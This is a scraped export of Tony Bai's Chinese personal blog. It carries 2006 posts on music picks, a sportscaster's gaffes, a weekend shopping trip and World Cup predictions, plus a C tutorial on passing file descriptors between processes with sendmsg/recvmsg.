src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"'666'留念"},{"content":"端午节和儿童节相继过去了，又到了推荐音乐的时候了，农历的五月被称为’榴月’，至于为什么我也不清楚，想必是’石榴’花盛开的季节吧。\n在这次的推荐歌曲之中，新人新歌新作依然占据着绝对的优势，自己不是专业评歌的，写了两三期自己的简短’歌评’后感觉有些力不从心，或者是说’黔驴技穷’了，再也想不出什么好词藻来描述歌中的意境了，所以决定这次来个精简版：\n王强之’秋天不回来’，磁性嗓音，旋律优美，高潮处铿锵有力；\n胡杨林之’香水有毒’，旋律和演唱都颇似当年赵咏华的经典’最浪漫的事’，值得一听。\n誓言之’求佛’，第一感觉有些类似谭咏麟的’披着羊皮的狼’的节奏，歌手的唱功不错。\n以上这些歌，刚出道，还谈不上经典，不过让我回忆起以前的诸多经典旋律。\n上次在blog的评论中，一位朋友推荐钟立风的’麦田上的乌鸦’，风格特立独行，又颇有些类似’朴树’作品的风格，说不太清，大家听了就知道了。\n另外世界杯临近，上周2006年德国世界杯主题曲’Time Of Our Lives’(生命之巅)正式发布了，感觉比2002年的好些，还算很喜欢。歌手Il Divo和Toni Braxton的演唱感觉高坑之余，略有些零乱，我的感觉而已，与许是旋律上某个地方不符合我的胃口罢了。\n","permalink":"https://tonybai.com/2006/06/05/recommend-music-of-2006-05/","summary":"\u003cp\u003e端午节和儿童节相继过去了，又到了推荐音乐的时候了，农历的五月被称为’榴月’，至于为什么我也不清楚，想必是’石榴’花盛开的季节吧。\u003c/p\u003e\n\u003cp\u003e在这次的推荐歌曲之中，新人新歌新作依然占据着绝对的优势，自己不是专业评歌的，写了两三期自己的简短’歌评’后感觉有些力不从心，或者是说’黔驴技穷’了，再也想不出什么好词藻来描述歌中的意境了，所以决定这次来个精简版：\u003c/p\u003e","title":"2006榴月靓乐"},{"content":"昨天晚上看了’荷兰’vs.’澳大利亚’那场热身赛，想必看了这场比赛球迷有两个遗憾：一是荷兰队实力大不如前；另外一个就是比赛是韩乔生杰说的。反正我和一个同事是边看边’骂’^_^。韩老师一直在那嘟囔个不停，还满嘴的什么雷达、GPS等与足球毫不相干的东西，胡说一气；除了昨天那场比赛，韩乔生还解说了中国队对瑞士那场，其开场白就是：’观众朋友们，大家好，现在为你现场直播的是世界杯热身赛- 中国队对瑞典’，当场我差点儿晕倒^_^。有人总结一条韩乔生解说定律：\u0026ldquo;韩乔生在解说比赛时，眼睛看着球员A，脑子里想起了球员B，嘴里说着球员C，实际指的是球员D。我听了以为是球员E\u0026rdquo;。\n韩老师的解说在业内都是有名的，在网上有其解说系列的Flash，更让人欣赏的是他的一些经典语录，靠，都有语录了，牛，那我们就一起来欣赏欣赏，估计这些语录不是一天两天能写出来的，都是网友、体育迷们亲身的经历，当然可能也有杜撰，我们权当笑话来看吧^_^。\n下面是一些经典韩乔生语录的摘录：\n1. (网球，韩乔生)\u0026ldquo;你看她们的短裤也很有意思，网球运动员的短裤是特制的，里面可以放好几个球不掉出来。噢，她们穿的是裙子。\u0026rdquo;　2. (亚运会武术比赛，韩乔生)\u0026ldquo;中国运动员出场了，只见她一条枪舞得如蛟龙出水，虎虎生风。 不禁让我们想起了我国三国时代的赵云赵子龙，猛张飞，关羽关云长… 关羽使的是刀…\u0026quot;(眼睛离开手中的稿子瞥了一眼赛场)\u0026ldquo;噢，对不起，她使的是棍…\u0026rdquo;　3. (亚运会，韩乔生)\u0026quot;…以迅雷不及掩耳盗铃之势…\u0026rdquo;　4. \u0026ldquo;…随着守门员一声哨响，比赛结束了…\u0026rdquo;　5. \u0026ldquo;…各位观众，中秋节刚过，我给大家拜个晚年…\u0026rdquo;　6. \u0026ldquo;现在由中国队守门员范志毅开任意球…\u0026rdquo;　7. \u0026ldquo;队员在平时的训练中一定要加强体能和对抗性训练，这样才能适应比赛中的激烈程度，否则的话，就会像不倒翁一样一撞就倒…\u0026rdquo;　8. \u0026ldquo;忽如一夜春风来，意甲流行三后卫…\u0026rdquo;　9. \u0026ldquo;国外的球员都非常敬业，比如马特乌斯，小孩出生3个月后就上场比赛了。\u0026rdquo;\n10. \u0026ldquo;范志毅前几天还在发高烧，高烧36度8；守门员区楚良身高1米82，体重28公。\u0026rdquo;　11. \u0026ldquo;中国队一脚射门，被区楚良奋勇扑出…\u0026rdquo;　12. \u0026ldquo;在上周刚举行了一场别开婚面的生礼。\u0026rdquo;　13. \u0026ldquo;可能有的观众刚刚打开电梯，我们再把比分…\u0026rdquo;　14. \u0026ldquo;巴乔在前有追兵，后有堵截的情况下带球冲入禁区…\u0026rdquo;　15. \u0026ldquo;水晶宫队已经赛了7场， 2胜2平4负… \u0026quot;　16. \u0026ldquo;已经有很多俱乐部表示要购买皮耶罗，拉齐奥出价3000万美元，曼联出价更高，2800万美元。\u0026rdquo;　17. (德甲)\u0026ldquo;现在场上火药味很浓，两队队员在场上你争我抢，两队的教练也在场下争风吃醋。\u0026rdquo;\n18. \u0026ldquo;四川全兴队xx号发角球，由前卫寰岛队xx号头球建功！\u0026rdquo;　19. \u0026ldquo;AC米兰就像一台计算机，内存挺大，大到奔腾II代，可是运行不快，可能是感染病毒， 看来主教练扎切罗尼需要一张杀毒的硬盘！！…\u0026rdquo;　20. \u0026ldquo;因为李金羽的身高比对方队员矮，因此在拚抢的时候他的肘部碰到了对方的脸上。\u0026rdquo;　21. \u0026ldquo;AC米兰队目前以1:3领先…\u0026rdquo;　22. \u0026ldquo;xx把球一脚射进了大门，…我们来看看慢动作，…哦，…是用头顶进的\u0026rdquo;　23. \u0026ldquo;只见防守队员一个队员两条腿，两个队员四条腿，三个队员….\u0026rdquo;　24. \u0026ldquo;守门员将球回传给门将…\u0026rdquo;　25. \u0026ldquo;18号传球，张效瑞跳起头球攻门，进球的是18号张效瑞。\u0026rdquo;\n26. \u0026ldquo;XX球员30公里外一脚远射！\u0026rdquo; 27. \u0026ldquo;只见X队的前锋象两把菜刀…… \u0026quot;\n28. \u0026ldquo;好！前锋一脚大力抽射，皮球应声进入网窝！比分还是1：1平，在球飞进球门的一瞬间，裁判员的哨声响了，这球算进，没有越位，比分变成了2：0，xx队领先一分。 \u0026quot;\n29. \u0026ldquo;这球进了！姜还是老的辣，xx队10号小将再立新功。\u0026rdquo;\n30. xx队员就像桃源三结义的赵云一样勇猛，不愧为长胜将军。\n31. 是场甲A的报道，啥时候记不清了，韩老师说：\u0026ldquo;xx队在主场状态低迷，4：0险胜xxx队。\n32. 9号维阿一脚射门，守门员维阿把球扑了出来，好险啊！\n33. xx跟上一脚凌空抽射，球进了。这是他本赛季攻入的第13粒头球。\n34. 这名队员的身高达到了1.90厘米。\n35. 一定要利用场地的宽度，多打身后，多打直传球。\n36．\u0026ldquo;守门员示意比赛继续进行…\u0026rdquo;\n37．\u0026ldquo;漂亮的反越位…哦，不是，没有成功…\u0026rdquo;\n38．\u0026ldquo;重庆队已经用完了三个换人名额…怎么重庆队还要换人？\u0026rdquo;\n39．\u0026ldquo;下半场换上23号以后作用很大…\u0026ldquo;是上半场换的啊，\u0026ldquo;23号能拿球，能传球…\u0026rdquo;\n40. \u0026ldquo;上海申花队14号申花一脚抽射！\u0026rdquo;\n41．\u0026ldquo;中国队的守门员杨璞一个大脚把球开到前场，对不起，中国队的守门员是杨琦。\u0026rdquo;\n42．9月27日中国客场对阿联酋：这是中国队上半场第一次射门…除了任意球射门之外.\n43．9月27日中国客场对阿联酋：卡塔尔换上十号，加强中前场的进攻。\n44．9月27日中国客场对阿联酋：传给了3号杨晨(璞)…(杨晨已下场) 改过来了。\n45．守门员安琪参加了今年在墨西哥举办的世乒赛。\n46．由于阿曼的攻势很猛，所以中国队千万要大意。\n47．赛前6个小时可以改上场球员名单，哦不，是赛前60分钟。\n48. 这时候来自新加坡的主裁判麦丁吹响了上半场比赛结束的哨声(10分钟前人家还叫马丁呢)\n49. \u0026ldquo;今天沈阳的温度是11度，湿度是70%，热度是99%，呆会能达到100%\u0026quot;，\u0026ldquo;现在热度达?\u0026rdquo;\n50. 这是明波浩，噢？不是\n51. 巴林的主场气氛一般，其周围的建筑不是很高，绝大多数都是一层以下的楼。\n52. 中国四员小将在欧洲……(范志毅已经30了)\n53. 某场国家队的比赛，韩老师道：高峰和郝海东是中国队的两把菜刀(尖刀)\n54. 记得1996年的奥运会，韩大嘴转播跳水比赛:\u0026ldquo;各位观众，现在站在跳台上的是英国裁判\u0026rdquo;。\n55. 某场沙特队的比赛，韩老师道：场边带绿帽子的就是沙特队的主教。\n56. 尤文图斯向奥特加抛出了橄榄球。\n57. 下面看两队的技术统计，两队的射门差不多…犯规倒是主队占优。\n不可否认的是韩乔生为中国的解说事业做出贡献，不过真希望韩老师能早点儿’挂嘴’，早日回家看看别人都是如何解说比赛的^_^。\n","permalink":"https://tonybai.com/2006/06/05/hanqiaosheng-sayings/","summary":"\u003cp\u003e昨天晚上看了’荷兰’vs.’澳大利亚’那场热身赛，想必看了这场比赛球迷有两个遗憾：一是荷兰队实力大不如前；另外一个就是比赛是韩乔生杰说的。反正我和一个同事是边看边’骂’^_^。韩老师一直在那嘟囔个不停，还满嘴的什么雷达、GPS等与足球毫不相干的东西，胡说一气；除了昨天那场比赛，韩乔生还解说了中国队对瑞士那场，其开场白就是：’观众朋友们，大家好，现在为你现场直播的是世界杯热身赛- 中国队对瑞典’，当场我差点儿晕倒^_^。有人总结一条韩乔生解说定律：\u0026ldquo;韩乔生在解说比赛时，眼睛看着球员A，脑子里想起了球员B，嘴里说着球员C，实际指的是球员D。我听了以为是球员E\u0026rdquo;。\u003c/p\u003e","title":"韩乔生经典语录"},{"content":"周末应GF之’邀请’，到沈城之商业繁华地区’吃喝购物’。\n自从五一加班回来以后，我也觉得自己好久没有像今天这样高高兴兴的出去’吃喝购物’了，盛夏的’酷暑’好像也在今天嘎然而止，一早上就是多云之天气，风中莫名还有一丝凉气。上了车之后，才想起昨日天气预报报告今天有阵雨，不过此时为时已晚，我们的伞还静静的躺在床头的小箱箱中。转过来又一想：如果老天爷非要降甘霖于敝人之身上，这难道不是上天的赐福么，想到这心情依然很高兴。\n大夏天虽然外面没有了炙热的太阳，天气凉爽，不过shopping mall中如果没有冷气，依然是火炉般的热，还好这种情况仅在少数几家商场里存在，当然我也不可能在那些让我感到郁闷的商场中’投下’我的钞票的。这次出来就是要买东西的，按GF的’规划’，一条牛仔裤是我们今天的主要任务，我对牛仔服装向来不是很’感冒’，平时也很少关注。不过牛仔确是GF的最爱，出于’爱屋及乌’地考虑，我也就没什么可说的了，况且穿上牛仔裤的确看起来也不错^_^。在百盛的男装部我们来到的第一个牛仔专柜就是’5th Street’，说实话我们对这个品牌都不是很了解，只是以前好象听说过这个品牌，印象最深的就是它的产品都很贵呀，少则4、5百，多则千数，GF看中了一条有折扣的，我就试试看，效果不错，再加上店员的好言好语，我们遂决定拿下，回忆一下，这也许是我们最痛快的一次买裤子的经历了，要是以前非得走上它五六家不可。后来到网上查了查，发现’5th Street’的确是一国际品牌，只是在中国感觉没有’李维斯’等出名罢了，买则买已，穿就是了。一件牛仔裤勾起了我们的购物欲望，之后又迅速购了一件’Tony Wear’的过季毛衫，这样几百大元就出去了。\n时到中午，该开饭了。这条商业街上最近新开了一家全国连锁的’川人百味’，上次就是在这吃的，感觉味道还可以，这次我们决定还在这家吃，餐馆在’华联’的楼上，由于华联中央空调未开，所以那里闷呼呼的，这势必影响了’川人百味’的生意，里面的客人屈指可数。记得上次来到这家的时候点的是’粉蒸肉’和’蟹黄豆腐’，除了粉蒸肉中麻油放得太多，我们有些不适应外，总体感觉很好。这次GF想吃鱼，由于餐馆内气温太高，我们放弃了水煮鱼，而改为酸菜鱼，另外又叫了盘凉拌的口水鸡，菜上来了，菜量适中，我和GF两个人吃绰绰有余。不过尽管在点菜时已经告诉服务员少加辣的，但是菜依然还是很辣，不过吃川菜不吃辣，显然不正宗，那就吃吧，大不了多喝些水。菜的味道呢，我觉得还不错。等吃的剩菜底了，才想起来忘记给菜拍照了，呵呵。看来没养成习惯，拍照是为了给写blog增加素材，这次罢了，下次到有特色的地方’觅食’，一定要留下图片’记忆’。’川人百味’在其他城市也有分店，有兴趣的可以去’尝尝’。\n吃了、喝了，也买了，老天看我们太高兴了也降下来了一阵狂风骤雨为我们助兴，正如前面所说，老天爷的这份赐福我们全接受了^_^。\n回到小窝，脱下外衣外裤，扔到洗衣机中，自己则钻进浴室，哗哗哗哗…^_^\n","permalink":"https://tonybai.com/2006/06/03/shopping-at-weekend/","summary":"\u003cp\u003e周末应GF之’邀请’，到沈城之商业繁华地区’吃喝购物’。\u003c/p\u003e\n\u003cp\u003e自从五一加班回来以后，我也觉得自己好久没有像今天这样高高兴兴的出去’吃喝购物’了，盛夏的’酷暑’好像也在今天嘎然而止，一早上就是多云之天气，风中莫名还有一丝凉气。上了车之后，才想起昨日天气预报报告今天有阵雨，不过此时为时已晚，我们的伞还静静的躺在床头的小箱箱中。转过来又一想：如果老天爷非要降甘霖于敝人之身上，这难道不是上天的赐福么，想到这心情依然很高兴。\u003c/p\u003e","title":"周末吃喝购物"},{"content":"世界杯的气息越来越浓了，32支球队基本都已经亮相，第一轮热身赛战绩也已经出来了，这个时候我想一定是各大足球博采公司最最忙碌的时候，忙着收集情报，忙着设定赔率，足球界名人也不闲着，都出来讲经说法，预测世界杯小组出线的情况，其中我看过的有专业足球记者出身的董路的预测。我想当前不仅仅是像董路这样的专业人士有自己的预测，每个关心此届世界杯的球迷们心中都有自己的一份名单，只是我们都是草根，说了也没人看，呵呵。我呢，也是一草根球迷，我偏要没人看也说，谈谈我心中哪些球队能从小组赛中脱颖而出。\nA组 德 国 哥斯达黎加 波兰 厄瓜多尔\n总体来说，A组比赛将波澜不惊，东道主德国占据天时地利，根据最近几届世界杯的比赛情况，东道主还没有出现小组赛被淘汰的结果，即使在2002年韩日世界杯，东亚两支球队相对较弱的情况下，由于占据主场之势，均得以晋级。德国人虽然近7、8年来实力有大幅度下滑，但是\u0026rsquo;瘦死的骆驼还是比马大\u0026rsquo;，别忘了2002的德国队虽然极不被看好，但是最终还是闯入决赛，所以德国队小组出线十拿九稳。至于另一个出线名额，我看好波兰，首先波兰隶属东欧，在德国比赛相对于哥斯达黎加和厄瓜多尔也算是主场了，波兰在此届世界杯欧洲区预选赛上战绩突出，只是在最后一轮被英格兰超出，并作为战绩较好的小组第二名而直接出线，由此看来波兰实力不可小视，其不足之处在于缺乏像世界杯这样大赛的经验，毕竟久疏于这样的比赛了。哥斯达黎加队照比02年世界杯实力进步不大，没比中国队强多少。厄瓜多尔实力按理说和波兰不分伯仲，但是远渡重洋来到欧洲，考虑地域因素，我把它排在波兰之后。\nB组 英格兰 巴拉圭 特立尼达和多巴哥 瑞典\n这届的英格兰队很是热门亚，对比上届世界杯那支只会防守的英格兰队，这届的这支英格兰队更值得期待，其强大的中前场令很多球队羡慕不已亚，兰帕德、杰拉德、乔.科尔、特里、欧文、小贝都是在当打之年，可以说这届英格兰队是自98年来最强的一支，其小组出线想必不是难事。瑞典队以小组第一名从欧预赛中杀出来很是不易，队中的几员名将今年表现都很不错，特别是在刚刚结束的欧冠决赛中瑞典老将拉尔森的表现十分抢眼，其核心球员伊布拉西莫维奇目前也是大红大紫，状态不错。而且从小组赛赛程上看，即有可能在最后一轮英瑞两队打平携手出线。南美劲旅巴拉圭实力也不容小觑，这已经是其第三次连续打入世界杯决赛圈了，而且前两次都进入了16强，看来瑞典和巴拉圭有的一拼了，究竟鹿死谁手还真是难说。特立尼达和多巴哥想必是一支鱼腩之队，应很难逃脱诸列强的欺凌。\nC组 阿根廷 科特迪瓦 塞黑 荷兰\n公认的死亡之组。出于小组赛后比赛的精彩程度考虑，我也只能主观的选择阿根廷和荷兰了，这两支球队实力是公认的。置于塞黑，如果发挥好了，爆冷阿根廷和荷兰都是有可能的，不过从最近热身赛的成绩来看，荷兰的状态要好些(2:1胜了墨西哥队)。科特迪瓦乃是一支新军，有一定的黑马潜质，但是估计黑不过2002年的韩国和土耳其。\nD组 墨西哥 伊朗 安哥拉 葡萄牙\n这组强弱略显分明，墨西哥和葡萄牙出线应该在预料之中，伊朗要想有所突破，只有力拼葡萄牙了。安哥拉则应该是这组的大漏斗。\nE组 意大利 加纳 美国 捷克\n这组中意大利和美国都是世界杯决赛圈的常客，美国队好的时候止步于16强，差一点的时候小组未出线。捷克人在错过了02世界杯后卷土重来，其势头还是很猛的，势必不想再重现04年欧洲杯的郁闷之旅了。加纳人的少年队和青年队的确是世界顶级，但是和中国队一样，成年队的实力却要大打折扣了。意大利人是不会让出小组出线的名额的，因为那是耻辱。总体来说我看好意大利和捷克。\nF组 巴西 克罗地亚 澳大利亚 日本\n巴西人的战斗力在整个32强中是独树一帜的，在这个小组中相必轻松获得小组第一，其余三队就要生死拚杀了。每次都要参加附加赛的澳大利亚人终于加入了亚洲大家庭，这次是在家门外第一次和亚洲老大日本开战了。日本人在刚刚进行的一场热身赛中在2：0领先的好局下被德国人的金头给砸了平手，连德国人都承认论技战术水平德国已经落后了。克罗地亚可是摆在亚洲两位兄弟面前的一座难以逾越的大山。说起克罗地亚，人们可能会想起98年的那只获得季军的队伍，想起小提琴手苏克，这次克队卷土重来，相信不会给哪个队留面子。除了巴西铁定出现外，另一支队伍我选择克罗地亚。\nG组 法国 瑞士 韩国 多哥\n法国人在02年走麦城之后，重整旗鼓，再战2006，虽说这支球队依然老迈，但是也不乏亨利这样的超级战士，法国队依然是小组第一的不二之选；瑞士人进步神速，颇具黑马潜质，是小组出线的有力竞争者；韩国人在02年本土创造奇迹后，能否在06年的欧州赛场再创辉煌呢？值得怀疑，进攻乏术是其最大不足。多哥队，相信很多人甚至不知道它是哪个大洲的，其实力也自然不为人所知，但是但预选赛中却力压2002年世界杯黑马塞内加尔队晋级，团结是他们的法宝，它能否传承塞内加尔的黑马文化呢，让我们拭目以待。这组我选择：法国、瑞士。\nH组 西班牙 乌克兰 突尼斯 沙特\n沙特队连续n届闯入世界杯，但是哪届都是浪费入场券，所以这组沙特最不被看好。西班牙队世界杯最终肯定难有作为，但是小组出线问题不大，乌克兰队拥有\u0026rsquo;核弹头\u0026rsquo;舍甫琴科，攻击力自然很强，和西班牙队并肩出现的可能性很大。突尼斯队如果能像98年尼日利亚那样淘汰西班牙，那它也可能出现。这组我选择西班牙和乌克兰。\n32强评点完毕，自然不能让人心服口服，我只是说出我的想法，你有想法也可以说呀，大家都来说世界杯，世界杯才热闹，才人气旺旺^_^。\n","permalink":"https://tonybai.com/2006/06/02/tony-forecast-group-match-of-worldcup/","summary":"\u003cp\u003e世界杯的气息越来越浓了，32支球队基本都已经亮相，第一轮热身赛战绩也已经出来了，这个时候我想一定是各大足球博采公司最最忙碌的时候，忙着收集情报，忙着设定赔率，足球界名人也不闲着，都出来讲经说法，预测世界杯小组出线的情况，其中我看过的有专业足球记者出身的\u003ca href=\"http://2006.sina.com.cn/r/2006-06-01/191411718.shtml\"\u003e董路的预测\u003c/a\u003e。我想当前不仅仅是像董路这样的专业人士有自己的预测，每个关心此届世界杯的球迷们心中都有自己的一份名单，只是我们都是草根，说了也没人看，呵呵。我呢，也是一草根球迷，我偏要没人看也说，谈谈我心中哪些球队能从小组赛中脱颖而出。\u003c/p\u003e","title":"Tony说世界杯之小组赛预测篇"},{"content":"我们知道父进程在子进程被fork出来之前打开的文件描述符是能被子进程继承下来的，但是一旦子进程已经创建后，父进程打开的文件描述符要怎样才能传递给子进程呢？Unix提供相应的技术来满足这一需求，这就是同一台主机上进程间的文件描述符传递，很美妙而且强大的技术。\n想象一下我们试图实现一个服务器，接收多个客户端的连接，我们欲采用多个子进程并发的形式来处理多客户端的同时连接，这时候我们可能有两种想法：\n1、客户端每建立一条连接，我们fork出一个子进程负责处理该连接；\n2、预先创建一个进程池，客户端每建立一条链接，服务器就从该池中选出一个空闲(Idle)子进程来处理该连接。\n后者显然更高效，因为减少了子进程创建的性能损耗，反应的及时性大大增强。这里恰恰就出现了我们前面提到的问题，所有子进程都是在服务器Listen到一条连接以前就已经fork出来了，也就是说新的连接描述符子进程是不知道的，需要父进程传递给它，它接收到相应的连接描述符后，才能与相应的客户端进行通信处理。这里我们就可以使用’传递文件描述符’的方式来实现。\n在’UNIX网络编程第1卷’的14.7小节中对这种技术有详细的阐述，实际上这种技术就是利用sendmsg和recvmsg在一定的UNIX域套接口(或者是某种管道)上发送和接收一种特殊的消息，这种消息可以承载’文件描述符’罢了，当然操作系统内核对这种消息作了特殊的处理。在具体一点儿’文件描述符’是作为辅助数据(Ancillary Data)通过msghdr结构中的成员msg_control(老版本中称为msg_accrights)发送和接收的。值得一提的是发送进程在将’文件描述符’发送出去后，即使立即关闭该文件描述符，该文件描述符对应的文件设备也没有被真正的关闭，其引用计数仍然大于一，直到接收进程成功接收后，再关闭该文件描述符，如果这时文件设备的引用计数为0，那么才真正关闭该文件设备。\nOK，下面是一个简单的文件描述符传递的例子，该例子实现这样一个功能：即子进程负责在父进程传递给它的文件描述符对应的文件尾加上特定的’LOGO’字符串。例子环境为Solaris 9 + GCC 3.2\n/* test_fdpass.c */\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;string.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026lt;unistd.h\u0026gt;\n#include \u0026lt;sys/wait.h\u0026gt;\n#include \u0026lt;sys/types.h\u0026gt;\n#include \u0026lt;sys/stat.h\u0026gt;\n#include \u0026lt;fcntl.h\u0026gt;\n#include \u0026lt;errno.h\u0026gt;\n#include \u0026lt;sys/socket.h\u0026gt; /* for socketpair */\n#define MY_LOGO \u0026ldquo;– Tony Bai\u0026rdquo;\nstatic int send_fd(int fd, int fd_to_send)\n{\nstruct iovec iov[1];\nstruct msghdr msg;\nchar buf[1];\nif (fd_to_send \u0026gt;= 0) {\nmsg.msg_accrights = (caddr_t)\u0026amp;fd_to_send;\nmsg.msg_accrightslen = sizeof(int);\n} else {\nmsg.msg_accrights = (caddr_t)NULL;\nmsg.msg_accrightslen = 0;\n}\nmsg.msg_name = NULL;\nmsg.msg_namelen = 0;\niov[0].iov_base = buf;\niov[0].iov_len = 1;\nmsg.msg_iov = iov;\nmsg.msg_iovlen = 1;\nif(sendmsg(fd, \u0026amp;msg, 0) \u0026lt; 0) {\nprintf(\u0026ldquo;sendmsg error, errno is %d\\n\u0026rdquo;, errno);\nreturn errno;\n}\nreturn 0;\n}\nstatic int recv_fd(int fd, int *fd_to_recv)\n{\nstruct iovec iov[1];\nstruct msghdr msg;\nchar buf[1];\nmsg.msg_accrights = (caddr_t)fd_to_recv;\nmsg.msg_accrightslen = sizeof(int);\nmsg.msg_name = NULL;\nmsg.msg_namelen = 0;\niov[0].iov_base = buf;\niov[0].iov_len = 1;\nmsg.msg_iov = iov;\nmsg.msg_iovlen = 1;\nif (recvmsg(fd, \u0026amp;msg, 0) \u0026lt; 0) {\nreturn errno;\n}\nif(msg.msg_accrightslen != sizeof(int)) {\n*fd_to_recv = -1;\n}\nreturn 0;\n}\nint x_sock_set_block(int sock, int on)\n{\nint val;\nint rv;\nval = fcntl(sock, F_GETFL, 0);\nif (on) {\nrv = fcntl(sock, F_SETFL, ~O_NONBLOCK\u0026amp;val);\n} else {\nrv = fcntl(sock, F_SETFL, O_NONBLOCK|val);\n}\nif (rv) {\nreturn errno;\n}\nreturn 0;\n}\nint main() {\npid_t pid;\nint sockpair[2];\nint rv;\nchar fname[256];\nint fd;\nrv = socketpair(AF_UNIX, SOCK_STREAM, 0, sockpair);\nif (rv \u0026lt; 0) {\nprintf(\u0026ldquo;Call socketpair error, errno is %d\\n\u0026rdquo;, errno);\nreturn errno;\n}\npid = fork();\nif (pid == 0) {\n/* in child */\nclose(sockpair[1]);\nfor ( ; ; ) {\nrv = x_sock_set_block(sockpair[0], 1);\nif (rv != 0) {\nprintf(\u0026quot;[CHILD]: x_sock_set_block error, errno is %d\\n\u0026quot;, rv);\nbreak;\n}\nrv = recv_fd(sockpair[0], \u0026amp;fd);\nif (rv \u0026lt; 0) {\nprintf(\u0026quot;[CHILD]: recv_fd error, errno is %d\\n\u0026quot;, rv);\nbreak;\n}\nif (fd \u0026lt; 0) {\nprintf(\u0026quot;[CHILD]: child process exit normally!\\n\u0026quot;);\nbreak;\n}\n/* 处理fd描述符对应的文件 */\nrv = write(fd, MY_LOGO, strlen(MY_LOGO));\nif (rv \u0026lt; 0) {\nprintf(\u0026quot;[CHILD]: write error, errno is %d\\n\u0026quot;, rv);\n} else {\nprintf(\u0026quot;[CHILD]: append logo successfully\\n\u0026quot;);\n}\nclose(fd);\n}\nexit(0);\n}\n/* in parent */\nfor ( ; ; ) {\nmemset(fname, 0, sizeof(fname));\nprintf(\u0026quot;[PARENT]: please enter filename:\\n\u0026quot;);\nscanf(\u0026quot;%s\u0026quot;, fname);\nif (strcmp(fname, \u0026ldquo;exit\u0026rdquo;) == 0) {\nrv = send_fd(sockpair[1], -1);\nif (rv \u0026lt; 0) {\nprintf(\u0026quot;[PARENT]: send_fd error, errno is %d\\n\u0026quot;, rv);\n}\nbreak;\n}\nfd = open(fname, O_RDWR | O_APPEND);\nif (fd \u0026lt; 0) {\nif (errno == ENOENT) {\nprintf(\u0026quot;[PARENT]: can’t find file ‘%s’\\n\u0026quot;, fname);\ncontinue;\n}\nprintf(\u0026quot;[PARENT]: open file error, errno is %d\\n\u0026quot;, errno);\n}\nrv = send_fd(sockpair[1], fd);\nif (rv != 0) {\nprintf(\u0026quot;[PARENT]: send_fd error, errno is %d\\n\u0026quot;, rv);\n}\nclose(fd);\n}\nwait(NULL);\nreturn 0;\n}\n编译：gcc -o test_fdpass -lsocket -lnsl test_fdpass.c\n执行：test_fdpass(事先在同一目录下创建一个文件kk.log)\n[PARENT]: please enter filename:\nkk.log\n[CHILD]: append logo successfully\n[PARENT]: please enter filename:\ncc.log\n[PARENT]: can’t find file ‘cc.log’\nexit\n[CHILD]: child process exit normally!\n你可以发现kk.log内容的末尾已经加上了我的独特LOGO ‘– Tony Bai’。^_^\n关于文件描述符传递的更多细节， W. Richard Stevens的’UNIX网络编程第1卷’和’UNIX环境高级编程’两本书中都有详细说明，参读即可。\n","permalink":"https://tonybai.com/2006/06/01/passing-file-descriptor/","summary":"\u003cp\u003e我们知道父进程在子进程被fork出来之前打开的文件描述符是能被子进程继承下来的，但是一旦子进程已经创建后，父进程打开的文件描述符要怎样才能传递给子进程呢？Unix提供相应的技术来满足这一需求，这就是同一台主机上进程间的文件描述符传递，很美妙而且强大的技术。\u003c/p\u003e","title":"美妙的文件描述符传递"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go 